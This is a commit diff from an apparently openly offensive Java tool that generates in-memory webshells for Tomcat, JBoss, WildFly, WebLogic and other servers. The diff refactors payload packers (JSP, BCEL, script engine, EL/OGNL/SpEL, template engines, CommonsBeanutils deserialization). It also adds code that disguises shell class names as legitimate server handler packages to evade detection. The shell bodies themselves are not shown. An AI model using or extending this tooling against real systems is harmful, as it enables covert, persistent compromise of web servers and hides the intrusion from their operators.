feat: support boot-ui

generator/src/main/java/com/reajason/javaweb/GeneratorMain.java

@@ -3,14 +3,14 @@ package com.reajason.javaweb;
 import com.reajason.javaweb.config.*;
 import com.reajason.javaweb.memsell.AbstractShell;
 import com.reajason.javaweb.memsell.packer.Packer;
+import com.reajason.javaweb.memsell.tomcat.TomcatShell;
+import com.reajason.javaweb.util.CommonUtil;
 import lombok.SneakyThrows;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.lang3.StringUtils;
 
 import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Paths;
-import java.nio.file.StandardOpenOption;
 
 /**
  * @author ReaJason
@@ -24,6 +24,7 @@ public class GeneratorMain {
                 .shellTool(ShellTool.Command)
                 .shellType(Constants.FILTER)
                 .targetJreVersion(Opcodes.V1_6)
+                .debug(true)
                 .build();
         GodzillaConfig godzillaConfig = GodzillaConfig.builder()
                 .pass("pass")
@@ -37,7 +38,7 @@ public class GeneratorMain {
 //            Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
 //            Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
             System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
-            System.out.println(new String(Packer.INSTANCE.JSP.getPacker().pack(generateResult)));
+            System.out.println(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult));
         }
     }
 
@@ -47,11 +48,19 @@ public class GeneratorMain {
         if (shell == null) {
             throw new IllegalArgumentException("Unsupported server");
         }
+        if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
+            shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
+        }
+
+        if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
+            injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
+        }
+
         return shell.generate(shellConfig, injectorConfig, shellToolConfig);
     }
 
     @SneakyThrows
-    public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
+    public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
         GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
         if (generateResult != null) {
             return packerInstance.getPacker().pack(generateResult);

generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java

@@ -16,7 +16,12 @@ import static net.bytebuddy.jar.asm.Opcodes.INVOKEVIRTUAL;
 import static net.bytebuddy.jar.asm.Opcodes.POP;
 
 /**
- * Debug 信息打印移除器，目前仅支持移除 System.out.println() - （printf 还不支持） 和 e.printStackTrace()
+ * Debug 信息打印移除器
+ * 目前仅支持移除以下几种
+ * <br />
+ * 1. System.out.println() - （printf 还不支持）
+ * 2. e.printStackTrace()
+ * 3. Logger.info (java.util)
  *
  * @author ReaJason
  */

generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java

@@ -13,9 +13,11 @@ import org.apache.commons.codec.binary.Base64;
 public class GenerateResult {
     private String shellClassName;
     private transient byte[] shellBytes;
+    private long shellSize;
     private String shellBytesBase64Str;
     private String injectorClassName;
     private transient byte[] injectorBytes;
+    private long injectorSize;
     private String injectorBytesBase64Str;
     private ShellConfig shellConfig;
     private ShellToolConfig shellToolConfig;
@@ -25,12 +27,14 @@ public class GenerateResult {
         public GenerateResult build() {
             if (shellBytes != null) {
                 shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
+                shellSize = shellBytes.length;
             }
             if (injectorBytes != null) {
                 injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
+                injectorSize = injectorBytes.length;
             }
-            return new GenerateResult(shellClassName, shellBytes, shellBytesBase64Str,
-                    injectorClassName, injectorBytes, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
+            return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
+                    injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/config/Server.java

@@ -27,12 +27,15 @@ public enum Server {
     /**
      * JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
      */
-    JBoss(new JbossShell()),
+    JBossAS(new JbossShell()),
+    JBossEAP6(new JbossShell()),
     /**
      * Undertow，对应是 Wildfly 以及 JBoss EAP，也有可能是 SpringBoot 用的
      * <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
      */
     Undertow(new UndertowShell()),
+    JBossEAP7(new UndertowShell()),
+    WildFly(new UndertowShell()),
 
     /**
      * SpringMVC 框架

generator/src/main/java/com/reajason/javaweb/config/ShellToolConfig.java

@@ -19,11 +19,11 @@ public class ShellToolConfig {
     /**
      * 模板类 shellClass
      */
-    private Class<?> clazz;
+    private Class<?> shellClass;
 
     /**
      * shellClass 的类名
      */
     @Builder.Default
-    private String className = CommonUtil.generateShellClassName();
+    private String shellClassName = CommonUtil.generateShellClassName();
 }

generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java

@@ -29,8 +29,8 @@ public abstract class AbstractShell {
      */
     public List<String> getSupportedShellTypes(ShellTool tool) {
         return switch (tool) {
-            case Godzilla -> getGodzillaShellMap().keySet().stream().toList();
-            case Command -> getCommandShellMap().keySet().stream().toList();
+            case Godzilla -> getGodzillaShellMap().keySet().stream().sorted().toList();
+            case Command -> getCommandShellMap().keySet().stream().sorted().toList();
             default -> Collections.emptyList();
         };
     }
@@ -59,14 +59,14 @@ public abstract class AbstractShell {
         Class<?> shellClass = shellInjectorPair.getLeft();
         Class<?> injectorClass = shellInjectorPair.getRight();
 
-        shellToolConfig.setClazz(shellClass);
+        shellToolConfig.setShellClass(shellClass);
 
         byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
 
         injectorConfig = injectorConfig
                 .toBuilder()
                 .injectorClass(injectorClass)
-                .shellClassName(shellToolConfig.getClassName())
+                .shellClassName(shellToolConfig.getShellClassName())
                 .shellClassBytes(shellBytes).build();
 
         byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
@@ -75,7 +75,7 @@ public abstract class AbstractShell {
                 .shellConfig(shellConfig)
                 .shellToolConfig(shellToolConfig)
                 .injectorConfig(injectorConfig)
-                .shellClassName(shellToolConfig.getClassName())
+                .shellClassName(shellToolConfig.getShellClassName())
                 .shellBytes(shellBytes)
                 .injectorClassName(injectorConfig.getInjectorClassName())
                 .injectorBytes(injectorBytes)

generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java

@@ -19,14 +19,14 @@ import net.bytebuddy.matcher.ElementMatchers;
 public class CommandGenerator {
 
     public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
-        if (shellConfig.getClazz() == null) {
+        if (shellConfig.getShellClass() == null) {
             throw new IllegalArgumentException("shellConfig.getClazz() == null");
         }
         Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
                 .andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
         DynamicType.Builder<?> builder = new ByteBuddy()
-                .redefine(shellConfig.getClazz())
-                .name(shellConfig.getClassName())
+                .redefine(shellConfig.getShellClass())
+                .name(shellConfig.getShellClassName())
                 .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
                 .constructor(ElementMatchers.any()).intercept(fieldSets);
 

generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java

@@ -11,6 +11,7 @@ import net.bytebuddy.implementation.FieldAccessor;
 import net.bytebuddy.implementation.SuperMethodCall;
 import net.bytebuddy.matcher.ElementMatchers;
 import org.apache.commons.codec.digest.DigestUtils;
+import org.apache.commons.lang3.StringUtils;
 
 /**
  * @author ReaJason
@@ -26,15 +27,18 @@ public class GodzillaGenerator {
     }
 
     public DynamicType.Builder<?> getBuilder() {
-        if (godzillaConfig.getClazz() == null) {
+        if (godzillaConfig.getShellClass() == null) {
             throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
         }
+        if (StringUtils.isBlank(godzillaConfig.getKey()) || StringUtils.isBlank(godzillaConfig.getPass())) {
+            throw new IllegalArgumentException("godzillaConfig.getKey().isBlank() || godzillaConfig.getPass().isBlank()");
+        }
         String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16);
         String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase();
 
         DynamicType.Builder<?> builder = new ByteBuddy()
-                .redefine(godzillaConfig.getClazz())
-                .name(godzillaConfig.getClassName())
+                .redefine(godzillaConfig.getShellClass())
+                .name(godzillaConfig.getShellClassName())
                 .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
                 .constructor(ElementMatchers.any())
                 .intercept(SuperMethodCall.INSTANCE

generator/src/main/java/com/reajason/javaweb/memsell/packer/BCELPacker.java

@@ -0,0 +1,17 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+import lombok.SneakyThrows;
+import org.apache.bcel.classfile.Utility;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/19
+ */
+public class BCELPacker implements Packer {
+    @Override
+    @SneakyThrows
+    public String pack(GenerateResult generateResult) {
+        return "$$BCEL$$" + Utility.encode(generateResult.getInjectorBytes(), true);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memsell/packer/Base64Packer.java

@@ -0,0 +1,15 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+import org.apache.commons.codec.binary.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/17
+ */
+public class Base64Packer implements Packer {
+    @Override
+    public String pack(GenerateResult generateResult) {
+        return Base64.encodeBase64String(generateResult.getInjectorBytes());
+    }
+}

generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java

@@ -5,8 +5,7 @@ import com.reajason.javaweb.deserialize.DeserializeConfig;
 import com.reajason.javaweb.deserialize.DeserializeGenerator;
 import com.reajason.javaweb.deserialize.PayloadType;
 import lombok.SneakyThrows;
-
-import java.util.Map;
+import org.apache.commons.codec.binary.Base64;
 
 /**
  * @author ReaJason
@@ -16,17 +15,9 @@ public class DeserializePacker implements Packer {
 
     @Override
     @SneakyThrows
-    public byte[] pack(GenerateResult generateResult) {
+    public String pack(GenerateResult generateResult) {
         DeserializeConfig deserializeConfig = new DeserializeConfig();
         deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
-        return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig);
-    }
-
-    @Override
-    public byte[] pack(GenerateResult generateResult, Map<String, ?> config) {
-        String payloadType = (String) config.get("payloadType");
-        DeserializeConfig deserializeConfig = new DeserializeConfig();
-        deserializeConfig.setPayloadType(PayloadType.getPayloadType(payloadType));
-        return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig);
+        return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
     }
 }

generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java

@@ -24,8 +24,8 @@ public class ELPacker implements Packer {
     }
 
     @Override
-    public byte[] pack(GenerateResult generateResult) {
-        byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
-        return template.replace("{{script}}", new String(scriptBytes)).getBytes();
+    public String pack(GenerateResult generateResult) {
+        String script = scriptEnginePacker.pack(generateResult);
+        return template.replace("{{script}}", script);
     }
 }

generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java

@@ -24,8 +24,8 @@ public class FreemarkerPacker implements Packer {
     }
 
     @Override
-    public byte[] pack(GenerateResult generateResult) {
-        byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
-        return template.replace("{{script}}", new String(scriptBytes)).getBytes();
+    public String pack(GenerateResult generateResult) {
+        String script = scriptEnginePacker.pack(generateResult);
+        return template.replace("{{script}}", script);
     }
 }

generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java

@@ -26,9 +26,9 @@ public class JspPacker implements Packer {
 
     @Override
     @SneakyThrows
-    public byte[] pack(GenerateResult generateResult) {
+    public String pack(GenerateResult generateResult) {
         String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
         String injectorClassName = generateResult.getInjectorClassName();
-        return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
+        return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
     }
 }

generator/src/main/java/com/reajason/javaweb/memsell/packer/OgnlPacker.java

@@ -11,11 +11,11 @@ import java.util.Objects;
  * @author ReaJason
  * @since 2024/12/14
  */
-public class OgnlPacker implements Packer {
+public class OGNLPacker implements Packer {
     ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
     String template = "";
 
-    public OgnlPacker() {
+    public OGNLPacker() {
         try {
             template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset());
         } catch (IOException ignored) {
@@ -24,8 +24,8 @@ public class OgnlPacker implements Packer {
     }
 
     @Override
-    public byte[] pack(GenerateResult generateResult) {
-        byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
-        return template.replace("{{script}}", new String(scriptBytes)).getBytes();
+    public String pack(GenerateResult generateResult) {
+        String script = scriptEnginePacker.pack(generateResult);
+        return template.replace("{{script}}", script);
     }
 }

generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java

@@ -17,7 +17,7 @@ public interface Packer {
      * @param generateResult 生成的内存马信息
      * @return 指定格式字节数组
      */
-    byte[] pack(GenerateResult generateResult);
+    String pack(GenerateResult generateResult);
 
     /**
      * 部分打包器可能需要配置来进行额外的配置项
@@ -33,38 +33,50 @@ public interface Packer {
 
     @Getter
     static enum INSTANCE {
+        /**
+         * Base64
+         */
+        Base64("Base64", new Base64Packer()),
+
+        /**
+         * BCEL
+         */
+        BCEL("BCEL", new BCELPacker()),
+
         /**
          * JSP 打包器
          */
-        JSP(new JspPacker()),
+        JSP("JSP", new JspPacker()),
 
         /**
          * 脚本引擎打包器
          */
-        ScriptEngine(new ScriptEnginePacker()),
+        ScriptEngine("脚本引擎", new ScriptEnginePacker()),
 
         /**
          * 反序列化打包器
          */
-        Deserialize(new DeserializePacker()),
+        Deserialize("反序列化(Only CB4, 1.9.x)", new DeserializePacker()),
 
         /**
          * EL
          */
-        EL(new ELPacker()),
+        EL("EL 表达式", new ELPacker()),
 
-        Ognl(new OgnlPacker()),
+        OGNL("OGNL 表达式", new OGNLPacker()),
 
-        SpEL(new SpELPacker()),
+        SpEL("SpEL 表达式", new SpELPacker()),
 
-        Velocity(new VelocityPacker()),
+        Freemarker("Freemarker", new FreemarkerPacker()),
 
-        Freemarker(new FreemarkerPacker()),
+        Velocity("Velocity", new VelocityPacker()),
         ;
 
+        private final String desc;
         private final Packer packer;
 
-        INSTANCE(Packer packer) {
+        INSTANCE(String desc, Packer packer) {
+            this.desc = desc;
             this.packer = packer;
         }
     }

generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java

@@ -25,14 +25,13 @@ public class ScriptEnginePacker implements Packer {
 
     @Override
     @SneakyThrows
-    public byte[] pack(GenerateResult generateResult) {
+    public String pack(GenerateResult generateResult) {
         String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
         String injectorClassName = generateResult.getInjectorClassName();
         return jsTemplate.replace("{{className}}", injectorClassName)
                 .replace("{{base64Str}}", injectorBytesBase64Str)
                 .replace("\n", "")
                 .replaceAll("(?m)^[ \t]+|[ \t]+$", "")
-                .replaceAll("[ \t]{2,}", " ")
-                .getBytes();
+                .replaceAll("[ \t]{2,}", " ");
     }
 }

generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java

@@ -24,8 +24,8 @@ public class SpELPacker implements Packer {
     }
 
     @Override
-    public byte[] pack(GenerateResult generateResult) {
-        byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
-        return template.replace("{{script}}", new String(scriptBytes)).getBytes();
+    public String pack(GenerateResult generateResult) {
+        String script = scriptEnginePacker.pack(generateResult);
+        return template.replace("{{script}}", script);
     }
 }

generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java

@@ -24,8 +24,8 @@ public class VelocityPacker implements Packer {
     }
 
     @Override
-    public byte[] pack(GenerateResult generateResult) {
-        byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
-        return template.replace("{{script}}", new String(scriptBytes)).getBytes();
+    public String pack(GenerateResult generateResult) {
+        String script = scriptEnginePacker.pack(generateResult);
+        return template.replace("{{script}}", script);
     }
 }

generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java

@@ -1,5 +1,7 @@
 package com.reajason.javaweb.util;
 
+import com.reajason.javaweb.config.Server;
+
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.security.SecureRandom;
@@ -24,6 +26,14 @@ public class CommonUtil {
             "com.google.gso",
             "ch.qos.logback"
     };
+    private static final String[] MIDDLEWARE_NAMES = {
+            "Error",
+            "Log",
+            "Report",
+            "Auth",
+            "OAuth",
+            "Checker"
+    };
 
     public static byte[] gzipCompress(byte[] data) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
@@ -55,4 +65,22 @@ public class CommonUtil {
     public static String generateInjectorClassName() {
         return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)];
     }
-}
+
+    public static String generateShellClassName(Server server, String shellType) {
+        String packageName = switch (server) {
+            case Jetty -> "org.eclipse.jetty.servlet.handlers";
+            case Undertow, JBossEAP7, WildFly -> "io.undertow.servlet.handlers";
+            case SpringMVC -> "org.springframework.boot.mvc.handlers";
+            case SpringWebflux -> "org.springframework.boot.webflux.handlers";
+            case WebSphere -> "com.ibm.ws.webcontainer.handlers";
+            case WebLogic -> "weblogic.servlet.internal.handlers";
+            case Resin -> "com.caucho.server.dispatch.handlers";
+            default -> "org.apache.catalina.web.handlers";
+        };
+        return packageName
+                + "." + getRandomString(1)
+                + "." + getRandomString(1)
+                + "." + getRandomString(1)
+                + "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
+    }
+}